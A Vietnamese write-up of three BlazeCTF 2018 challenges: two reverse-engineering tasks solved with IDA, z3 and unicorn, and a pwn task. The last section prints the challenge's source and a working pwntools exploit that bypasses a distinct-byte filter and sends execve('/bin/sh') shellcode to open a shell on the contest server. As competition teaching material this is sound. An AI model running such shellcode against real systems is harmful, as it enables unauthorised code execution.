Writeups BlazeCTF 2018
Giải này hay, khó, cả phần RE và Pwn chuối vlờ :)) Lúc mình bắt đầu làm thì thời gian còn hơn 2 ngày, giải được 3 bài :)) do không đủ kiên nhẫn để làm tiếp cũng như bị lôi kéo chơi bời bởi mấy thằng bạn :)).
Smokemebabby (RE)
Câu này được viết bằng C++, lúc mới mở bằng IDA thì sẽ thấy một số hàm có tên dài loằn ngoằn kiểu như này
Cái này gọi là name mangling. Trong IDA chọn Options->Demangled name để tùy chọn cách hiển thị
Đầu tiên mình tìm hàm chính thực thi bằng cách tìm string. Ấn Shift + F12
rồi ấn Ctrl+F
nhập enter code
sẽ ra được như này
Nhấp đúp chuột vào kết quả tìm được thì IDA sẽ đưa mình đến đây
Ấn x
để xem có những thằng nào tham chiếu (reference) đến chuỗi này hoặc bạn có thể tiếp tục đúp chuột vào .data.rel.ro:off_28FB01
để đi đến thằng tham chiếu đến nó.
Chọn xong và ấn ok một phát là ta đa... mình có ngay hàm xử lý chính của chương trình
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 |
smokeme420::main::h6111ea91c183b772 proc near var_118= qword ptr -118h var_108= qword ptr -108h var_100= qword ptr -100h var_F8= qword ptr -0F8h var_F0= byte ptr -0F0h var_B8= byte ptr -0B8h var_A8= qword ptr -0A8h var_A0= qword ptr -0A0h var_98= qword ptr -98h var_90= qword ptr -90h var_88= byte ptr -88h var_70= qword ptr -70h var_68= qword ptr -68h var_60= qword ptr -60h var_58= qword ptr -58h var_50= qword ptr -50h var_48= byte ptr -48h var_18= qword ptr -18h var_10= qword ptr -10h var_8= qword ptr -8 sub rsp, 118h lea rdi, [rsp+118h+var_F0] lea rax, off_28FB00 mov ecx, 1 mov edx, ecx lea rsi, unk_7C150 xor ecx, ecx mov r8d, ecx mov [rsp+118h+var_F8], rsi mov rcx, [rsp+118h+var_F8] call core::fmt::Arguments::new_v1::h8e28a601436f64b4 lea rdi, [rsp+118h+var_F0] call std::io::stdio::_print::h3f65b723a39e1375 call std::io::stdio::stdout::hb62ca8ff1b7a8494 lea rdi, [rsp+118h+var_B8] lea rsi, [rsp+118h+var_A8] mov [rsp+118h+var_A8], rax call _$LT$std..io..stdio..Stdout$u20$as$u20$std..io..Write$GT$::flush::hf917cd2680b53cf3 lea rdi, [rsp+118h+var_B8] call _$LT$core..result..Result$LT$T$C$$u20$E$GT$$GT$::unwrap::he4020f63a6af5659 lea rdi, [rsp+118h+var_A8] call core::ptr::drop_in_place::hb7308f8a93810a9a lea rdi, [rsp+118h+var_A0] call alloc::string::String::new::h4d0372b53cccda3d call std::io::stdio::stdin::h2aaad918cd7bc0d2 lea rdi, [rsp+118h+var_88] lea rsi, [rsp+118h+var_70] lea rdx, [rsp+118h+var_A0] mov [rsp+118h+var_70], rax call std::io::stdio::Stdin::read_line::h38f9b1d8276890ed lea rdi, [rsp+118h+var_88] call _$LT$core..result..Result$LT$T$C$$u20$E$GT$$GT$::unwrap::h692a90c86cef37de lea rdi, [rsp+118h+var_70] mov [rsp+118h+var_100], rax call core::ptr::drop_in_place::hbc16d69298a7c6a5 lea rdi, [rsp+118h+var_60] mov rax, [rsp+118h+var_A0] mov [rsp+118h+var_60], rax mov rax, [rsp+118h+var_98] mov [rsp+118h+var_58], rax mov rax, [rsp+118h+var_90] mov [rsp+118h+var_50], rax call smokeme420::check::check::hcd63bfd484a4be4f lea rsi, core::fmt::num::_$LT$impl$u20$core..fmt..Display$u20$for$u20$i64$GT$::fmt::ha2f9dd74089587ba lea rcx, [rsp+118h+var_68] mov [rsp+118h+var_68], rax mov [rsp+118h+var_8], rcx mov rdi, [rsp+118h+var_8] call core::fmt::ArgumentV1::new::hc36e158ffd4f4c72 lea rdi, [rsp+118h+var_48] lea rcx, off_28FB10 mov r9d, 2 mov esi, r9d mov r9d, 1 mov r8d, r9d lea r10, unk_7C150 lea r11, [rsp+118h+var_18] mov [rsp+118h+var_18], rax mov [rsp+118h+var_10], rdx mov [rsp+118h+var_108], rsi mov rsi, rcx mov rdx, [rsp+118h+var_108] mov rcx, r11 mov r9, r10 mov [rsp+118h+var_118], 1 call core::fmt::Arguments::new_v1_formatted::hd0352bc3603a0767 lea rdi, [rsp+118h+var_48] call std::io::stdio::_print::h3f65b723a39e1375 add rsp, 118h retn smokeme420::main::h6111ea91c183b772 endp |
Đây là lúc thể hiện sự tinh ý :)) Có thể dùng mã giả để xem cho ngắn gọn hơn nhưng mình chọn xem assembly vì nó rõ ràng hơn. Để ý từ dòng 46 đến 53, đây là khúc khai báo cấp phát đối tượng string để lưu input. Tiếp tục, bằng cảm tính, tại dòng 66, đấy chính là hàm kiểm tra input có hợp lệ hay không (tên hàm có chữ check :))) Giờ vào xem hàm smokeme420::check::check::hcd63bfd484a4be4f
có gì vui
Hàm này bên trong quá dài nên mình chỉ nói sơ sơ qua cách hoạt động của nó. Hàm sẽ lấy từng kí tự của input rồi đưa vào 1 hàm khác tương ứng để kiểm tra bằng biểu thức số học xem kí tự đó có thỏa mãn hay không. Đây là ví dụ:
1 2 3 4 5 6 7 8 9 |
signed __int64 __fastcall smokeme420::check::check_0::h769f5aac0c7e92b1(__int64 a1) { if ( !a1 ) std::process::exit::h9e2f81877082b74a(); if ( 58028480 != 8 * (4 * (4 * (8 * (2 * (4 * (9 * (2 * (7 * (a1 - 49) - 29) - 18) - 48) - 27 + 23) + 33) + 33) - 29) + 28) ) std::process::exit::h9e2f81877082b74a(); return 8 * (4 * (4 * (8 * (2 * (4 * (9 * (2 * (7 * (a1 - 49) - 29) - 18) - 48) - 27 + 23) + 33) + 33) - 29) + 28); } |
Tổng cộng có đến 39 hàm kiểu như thế nhưng mỗi hàm sẽ có một biểu thức khác nhau. Nhiệm vụ của mình đơn giản chỉ là giải biểu thức tìm a1
thôi, y chang toán lớp 3 :))
Tuy nhiên, có một số vấn đề gặp phải. Đầu tiên, để ý tham số là __int64 a1
chứ không phải là char a1
, tức là hàm thực hiện các phép toán 64 bit chứ không phải là 8 bit và trong python, kiểu số nguyên không được biểu diễn theo 2 hay 4 byte gì đấy, hình như nó được lưu trong object. Ví dụ 0xFFFFFFFF trong python sẽ khác với int trong C.
Vấn đề thứ 2 là có đến 39 cái biểu thức, mình không thể nào tự giải bằng tay từng cái một được vì mình lười =)) Cho nên mình đã có 1 giải pháp khác đấy chính là sử dụng z3 :)) Mình chỉ cần copy y nguyên cái biểu thức rồi replace dấu ‘!=’ thành ‘==’ thì z3 sẽ tự tìm a1
cho mình :))
Đây là code mình dùng để giải ra flag, code hơi trash tí nhưng mình lười sửa lại :)) https://pastebin.com/0SNGEZF3
À mà bài này cờ hó ở chỗ chỗ là nó có nhiều flag nhưng không phải flag nào nó cũng chấp nhận =)) Tức là BTC muốn mình giải bằng tool chứ giải bằng tay thì hên xui =)) Mình nghĩ đây chính là lý do bài này ít lượt resolved hơn bài magic-re mặc magic-re theo mình khó hơn :))
Magic-re (RE)
Bài này thì cho IDA là thấy rõ ngay nên mình không trích code gì hết. Chỉ cần nói sơ qua cách thực thi của chương trình. Mình sẽ được nhập input có độ dài tối đa là 255 kí tự. Mỗi kí tự của input phải thỏa mã điều kiện 0x3F < input[i] <= 0x5F
. Thực ra trong khoảng từ 0x3F đến 0x5F đấy chính là opcode của các tập lênh dec
, inc
, push
và pop
trong x86. Những opcode này sẽ được sử dụng trong hàm magic
để tạo ra một chuỗi các kí tự giống với đề bài thì input chính là flag.
Mình khá tâm đắc với bài này vì mình viết code bruteforce chứ không phải giải bằng tay. Code sử dụng unicorn engine và thuật toán quy hoạch động (dynamic programming) để giải :v Giải ra đúng 4 cái input luôn :v
Shellcodeme (Pwn)
Bài này cho luôn cả source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
// gcc -zexecstack -Os shellcodeme.c -o shellcodeme #include #include #include <sys/mman.h> #include #define BUF_SIZE (0x4096 & ~(getpagesize()-1)) int main() { setbuf(stdout, NULL); unsigned char seen[257], *p, *buf; void (*f)(void); memset(seen, 0, sizeof seen); buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); puts("Shellcode?"); fgets(buf, BUF_SIZE, stdin); fflush(stdin); for(p=buf; *p != '\n'; p++) { seen[256] += !seen[*p]; seen[*p] |= 1; } if(seen[256] > 7) { puts("Shellcode too diverse."); _exit(1); } else { *(void**)(&) = (void*)buf; f(); _exit(0); } } |
Chương trình chỉ cho nhập tối đa 7 kí tự khác nhau, tức là cho dù mình nhập input với độ dài là 1000 nhưng chỉ cần trong 1000 kí tự đó chỉ có 7 kí tự khác nhau là được. Viết shellcode mà chỉ với 7 kí tự khác nhau thôi thì khá chuối, riêng chuỗi '/bin/sh' đã là 6 kí tự khác nhau rồi.
Cách làm của mình là viết shellcode điều khiển thanh ghi sp
nằm trong vùng của biến buf
từ đó mình có thể điều khiển được toàn bộ 257 giá trị của biến seen
, kết hợp với int overflow để làm cho seen[256] <= 7
Code của mình, vì lúc mình exploit thì mình chạy trực tiếp trên python chứ không viết thành file .py nên giờ đọc hơi bị ngáo tí :))
1 2 3 4 5 6 7 8 9 10 11 12 |
from pwn import * p = remote('shellcodeme.420blaze.in', 420) # đưa giá trị của rsp nằm trong khoảng của biến buf rồi sau đó điều khiển rip về 0x40069b # tiện thể điều khiển toàn bộ giá trị của biến seen, seen[:255] = 0x0, seen[256] = 0x5e p.sendline('\xc9' + '\x5e'*6 + '\xc3' + '\x5e'*(0x38 - 8) + '\x9b\x06\x40\x00\x00\x00\x00\x00' + '\x00'*0x107 + '\x5e') # gửi lại shellcode và làm cho seen[256] bị int overflow p.sendline('\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05vwxyz{|}~\x7f\x81\x82\x83\x84\x85\x86\x87\x88\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe2\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xffGHIJKLMNOQRTUVWabcdefghi') p.interactive() |